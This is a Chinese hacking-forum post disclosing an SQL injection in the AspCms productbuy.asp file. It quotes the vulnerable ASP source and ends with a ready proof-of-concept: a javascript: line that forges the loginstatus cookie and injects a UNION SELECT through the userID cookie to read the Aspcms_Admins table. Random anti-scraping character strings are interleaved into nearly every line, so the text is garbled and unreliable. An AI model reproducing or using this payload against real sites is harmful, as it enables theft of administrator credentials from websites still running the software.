好久没上土司了,上来一看发现在删号名单内.....
0 U' j, u$ |. M4 g; l也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
7 @$ h# T5 V/ ^3 o k4 i废话不多说,看代码:( ^- _+ M7 m4 A: F+ K0 D6 N
7 v5 s1 B' { @; \: t2 R<%
' o4 c/ t' @4 a/ _/ k$ m! d1 Y, x) T1 k+ f5 [, o1 }$ q
if action = "buy" then
# n$ v6 k7 `: s5 [2 L2 X# [1 H% X
{) D6 h. u7 ?. T( M addOrder()2 y0 Y4 B1 V: U W
1 y7 s f! D, l# \
else
9 x `+ y! J+ p8 Z3 I" X7 O1 [- k1 `7 d
echoContent()0 f' W! `) U* n1 V/ b$ Z
; I" m& a- `' N7 Z; Kend if' K& ~6 [. H( n0 l
4 B! c! m3 l" U; L- f
9 _5 h7 Z; k3 w! s0 i/ f) i# H1 v# [0 U
……略过 V7 j- p& W9 [9 d0 L1 }2 @$ x* b5 d
' M3 p+ c, s7 d* ~. w- g- \. t/ r* I
' m% r2 ^4 V) o: W9 ` a
* o( w% l A- N6 F- I" `Sub echoContent()% u( F* Y+ q% [' E5 L
* Q8 v) i+ e- h6 Y+ C/ i3 W dim id+ N1 y+ q2 V* b8 M; l
' m; C: K) y+ ^) P% q
id=getForm("id","get")
* Z* ?# E. X; ~: ?( ]6 B' Y3 G
6 L" g( A( {" b y7 J8 r. J4 S ! _) X9 a ~- @9 g5 v
" y, H9 N" Q! l5 P- g8 M& W5 X7 W# j
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
% k9 D" o/ _0 }4 [) A0 b% x
4 q+ k) l. M7 B; X4 N- s& ~ 4 G. K# o% V$ `1 k* E0 `9 y7 e
' ]4 x1 U: v& A& X7 I3 G
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")7 U* {1 c/ D7 u( @
' N9 [/ O! @+ c* u- i dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 e! C7 R. D- p. _* R$ C& R1 @
" Y* R9 W0 n* N6 S2 V7 H) { Dim templatePath,tempStr4 i- N/ M5 P) U; X. N) u5 ^
o6 k4 y: [# k( K# `5 D
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"" E1 \& ]9 W! {5 B2 I" O
1 R9 f" b; d+ c i* i+ Y5 y( s& P( R* y$ F/ h I* N- H
5 B6 |. [( E& U& F: K" t( p
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")6 A* N4 l: n3 G) |$ I$ H
: E W" ~' t+ C0 o, L) Y9 T3 n selectproduct=rsObj(0)9 B) Q7 `* d+ v
2 M- U# ~# E0 E- E# ~+ g
3 b }+ E- H) p/ L6 }& T% i! K- w& Y: X0 S! T/ O( e% I; }9 u! X3 ^, F
Dim linkman,gender,phone,mobile,email,qq,address,postcode+ U* @4 P# M: S. U2 a t0 ~
3 I; {, _3 h" ~$ U# _4 N6 l* L& t if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
3 N/ j4 `# P! k3 k1 f
3 A$ s, C/ k) L: P# P/ B3 M/ } if rCookie("loginstatus")=1 then
' R9 I5 S7 |1 l! |8 R( N( B4 B7 S( q
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")" r* e! d$ x- u
+ B( x2 p* m: c3 q* F
linkman=rsObj("truename")
3 t) f- ]( l4 R# w( c) h6 q
1 m4 X j" l- I o9 A5 O4 f gender=rsObj("gender")7 V8 @. G5 d& N; ]) F5 T7 a$ w
( y; u9 a$ H5 f4 g8 Z phone=rsObj("phone")1 T- p7 d% _# l4 G) `% ~! d
: _* N5 j& K# W3 T' C z
mobile=rsObj("mobile")' d; j+ T5 m, q" } ^" P. x9 z$ C
4 X9 c% E/ G r- w! \+ H, M
email=rsObj("email")
2 _) z5 ]( R+ e" J9 N8 E( R' c5 q: ]; ~3 }: l4 [
qq=rsObj("qq")) a# F7 c% c: ]- B/ u' m
9 m7 L8 [0 \7 {8 `" @ address=rsObj("address")
! A2 }- u! C/ P1 D8 {
( Q9 l( E; j0 f1 A, e postcode=rsObj("postcode")) h1 b" \; Y* I3 I/ a) E; s
8 c& P( L; M2 S else
4 c# \5 U/ r) ]# W, e9 m8 m' t& c/ O0 x! y2 t. B- c3 @: s
gender=1
! W1 C( r Z+ x4 Q2 U
9 Q7 P+ y0 s1 M6 I end if3 g9 Z! R( x' S6 r/ |
) s7 [8 g8 E7 I3 H o
rsObj.close()
1 j* `% m4 Z4 |7 f7 i; ]7 V; V$ v+ K s! k9 F+ `! x
+ V* K, `$ {- \1 `5 }8 W+ @
9 P6 G$ ~9 c8 v! Q ~: r with templateObj ( y0 S% w% L7 o2 B+ A
7 w! P ?; `7 x* U) h9 q& ~ .content=loadFile(templatePath)
: V9 g& I; U! K: q* y0 x. f4 B7 ?: B5 N
.parseHtml()$ S! L. U3 p ^' C
& f6 R+ p- H3 Q) N
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)( B a$ Q' K8 @% S) Y
# ?1 ~' W: y' v& N7 _ .content=replaceStr(.content,"[aspcms:linkman]",linkman)
; z1 @( o* c3 u9 s8 l: V5 Y
$ V1 B6 n I( Y) d: q0 h \4 ^ .content=replaceStr(.content,"[aspcms:gender]",gender) 1 U, ~; U3 w s5 i
! O% z N. V7 {# \ .content=replaceStr(.content,"[aspcms:phone]",phone) ' T3 `7 `5 S* u1 {! Q% p: z
" n% Y! Q) P. T# ~- t .content=replaceStr(.content,"[aspcms:mobile]",mobile)
+ m/ J0 n2 o8 M" a8 P6 h% V# i
/ `) q! A5 g, K .content=replaceStr(.content,"[aspcms:email]",email) 4 r) F$ K$ K. F& d& t1 P
/ V/ ?4 f0 c- |/ ?$ O( K .content=replaceStr(.content,"[aspcms:qq]",qq) $ r" @$ Q1 C* T7 K+ ~' I+ \% g
8 Y9 D. ?- H$ u8 ], }
.content=replaceStr(.content,"[aspcms:address]",address)
/ A/ P, s( R. \ ^6 o
( @3 ]. m9 }& R: z/ O5 q4 o .content=replaceStr(.content,"[aspcms:postcode]",postcode) 4 m" B6 Z' L: |1 D5 I
( A8 \! [4 E% x% |
.parseCommon() 3 U6 l; J) N, k( y
( N+ n( W6 B, M
echo .content
7 O% f) M4 K. y1 j) Y" u
$ F, D0 _9 K) [% L end with# |5 P+ l# I4 ~2 s! k9 d1 a
6 }( g' j; |, f8 a set templateobj =nothing : terminateAllObjects
3 t }/ W# c4 b1 ~+ R( x. d
6 @5 a. K: g0 }2 l1 g+ TEnd Sub
2 _& V" ~& N4 M漏洞很明显,没啥好说的
# U: _& L6 r, ^. L* u8 s; rpoc:. e5 h5 A6 @( F* Y& V
4 C5 G; V, J: T2 O4 p
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子+ t9 e: h% v, J( Y$ t4 S
1 f4 [. r2 T; x) \7 c" G
|